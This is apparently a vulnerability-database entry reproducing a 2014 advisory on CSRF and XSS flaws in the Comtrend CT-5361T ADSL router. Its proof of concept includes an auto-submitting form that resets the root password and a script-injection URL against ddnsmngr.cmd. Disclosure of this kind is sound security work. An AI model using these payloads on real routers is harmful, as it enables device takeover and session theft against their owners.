VAR-201404-0754
Vulnerability from variot - Updated: 2022-05-04 09:12The Comtrend CT-5361T is a router device. The Comtrend CT-5361T ddnsmngr.cmd script failed to properly filter the 'username' parameter input, allowing an attacker to build a malicious URI, enticing a user to resolve, gaining sensitive information or hijacking a user session. Comtrend CT-5361T ADSL Router is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add, delete or modify sensitive information, or perform unauthorized actions. Other attacks are also possible. Comtrend CT-5361T firmware version A111-312SSG-T02_R01 is vulnerable; other versions may also be affected. [+] Author: TUNISIAN CYBER [+] Exploit Title: Comtrend CT 5361T Multiple Vulnerabilities [+] Date: 21-04-2014 [+] Category: WebApp [+] CVE:CVE-2014-2923 CVE-2014-2924 [+] Tested on: Windows 7 Pro [+] Vendor: http://www.comtrend.com/ [+] Product: http://www.comtrend.com/cgi-bin/na/db-searchn.cgi?template=proview1.htm&dbname=product&key2=32&action=searchdbdisplay [+] Friendly Sites: na3il.com,th3-creative.com
1.OVERVIEW: WiFi router Comtrend CT 5361T suffers from a Cross Site Request Forgery (change passwd) and Cross-Site Scripting Vulnerability
2.Version: CT 5361T (more likely CT CT 536X) Software Version: A111-312SSG-T02_R01 Wireless Driver Version: 4.150.10.15.cpe2.2
3.Background: The CT-5361T is an 802.11g (54Mbps) Wireless and Wired ADSL2+ router. Four 10/100 Base-T Ethernet ports and an optional USB port and an integrated 802.11g WiFi WLAN Access Point (AP) provide with wired LAN connectivity and wireless connectivity separately. The CT-5361T ADSL2+ router also provides for state of the art security features such as WPA data encryption, Firewall and VPN pass through. The CT-5361T is designed for both residential and business applications that require wireless and wired connectivity to an ADSL broadband network. The CT-5361T supports up to 16 contiguous virtual connections allowing for multiple simultaneous Internet connections. The CT-5361T is also designed with TR-068 compliant color panel and LED indicators, which eases the installation of the modem and makes it more user-friendly.
4.Proof Of Concept: CSRF
Then Login as root with your new pwd.
XSS: 192.168.1.1/ddnsmngr.cmd?action=add&service=1&hostname=blabla&username=%3cscript%3ealert(%27xss%27)%3c%2fscript%3e&password=bblala&iface=ppp0 http://i.imgur.com/plXXpJU.png 5.Solution(s): NOT FIXED
6.TIME-LINE: 16-04-2014: Vulnerability was discovered. 16-04-2014: Contact with vendor and ISP. 17-04-2014: No Reply. 18-04-2014: No Reply. 18-04-2014: ANOTHER contact with vendor and ISP. 19-04-2014: No Reply. 20-04-2014: No Reply. 20-04-2014: CVE(s) Requested. 21-04-2014: CVE assigned. 21-04-2014: Vulnerability published.
7.Greetings: Xmax-tn Xtech-set N43il Sec4ver,E4A Members
Show details on source website{
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"data": "The Comtrend CT-5361T is a router device. The Comtrend CT-5361T ddnsmngr.cmd script failed to properly filter the \u0027username\u0027 parameter input, allowing an attacker to build a malicious URI, enticing a user to resolve, gaining sensitive information or hijacking a user session. Comtrend CT-5361T ADSL Router is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability. \nAn attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add, delete or modify sensitive information, or perform unauthorized actions. Other attacks are also possible. \nComtrend CT-5361T firmware version A111-312SSG-T02_R01 is vulnerable; other versions may also be affected. [+] Author: TUNISIAN CYBER\n[+] Exploit Title: Comtrend CT 5361T Multiple Vulnerabilities\n[+] Date: 21-04-2014\n[+] Category: WebApp\n[+] CVE:CVE-2014-2923\n CVE-2014-2924\n[+] Tested on: Windows 7 Pro\n[+] Vendor: http://www.comtrend.com/\n[+] Product: http://www.comtrend.com/cgi-bin/na/db-searchn.cgi?template=proview1.htm\u0026dbname=product\u0026key2=32\u0026action=searchdbdisplay\n[+] Friendly Sites: na3il.com,th3-creative.com\n\n1.OVERVIEW:\nWiFi router Comtrend CT 5361T suffers from a Cross Site Request Forgery (change passwd) and Cross-Site Scripting Vulnerability\n\n2.Version:\nCT 5361T (more likely CT CT 536X)\nSoftware Version:\tA111-312SSG-T02_R01\nWireless Driver Version:\t4.150.10.15.cpe2.2\n\n3.Background:\nThe CT-5361T is an 802.11g (54Mbps) Wireless and Wired ADSL2+ router. \nFour 10/100 Base-T Ethernet ports and an optional USB port and an integrated 802.11g WiFi WLAN Access Point (AP) provide with wired LAN connectivity and wireless connectivity separately. \nThe CT-5361T ADSL2+ router also provides for state of the art security features such as WPA data encryption, \nFirewall and VPN pass through. \nThe CT-5361T is designed for both residential and business applications that require wireless and wired connectivity to an ADSL broadband network. \nThe CT-5361T supports up to 16 contiguous virtual connections allowing for multiple simultaneous Internet connections. \nThe CT-5361T is also designed with TR-068 compliant color panel and LED indicators, which eases the installation of the modem and makes it more user-friendly. \n\n\n4.Proof Of Concept:\nCSRF\n\u003chtml\u003e\n\u003cbody onload=\"javascript:document.forms[0].submit()\"\u003e\n\u003cform method=\"POST\" name=\"form0\" action=\"192.168.1.1/password.cgi?sysPassword=[Your Password]\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\nThen Login as root with your new pwd. \n\nXSS:\n192.168.1.1/ddnsmngr.cmd?action=add\u0026service=1\u0026hostname=blabla\u0026username=%3cscript%3ealert(%27xss%27)%3c%2fscript%3e\u0026password=bblala\u0026iface=ppp0\nhttp://i.imgur.com/plXXpJU.png\n5.Solution(s):\nNOT FIXED\n\n6.TIME-LINE:\n16-04-2014: Vulnerability was discovered. \n16-04-2014: Contact with vendor and ISP. \n17-04-2014: No Reply. \n18-04-2014: No Reply. \n18-04-2014: ANOTHER contact with vendor and ISP. \n19-04-2014: No Reply. \n20-04-2014: No Reply. \n20-04-2014: CVE(s) Requested. \n21-04-2014: CVE assigned. \n21-04-2014: Vulnerability published. \n\n\n\n\n\n\n7.Greetings:\nXmax-tn\nXtech-set\nN43il\nSec4ver,E4A Members\n",
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
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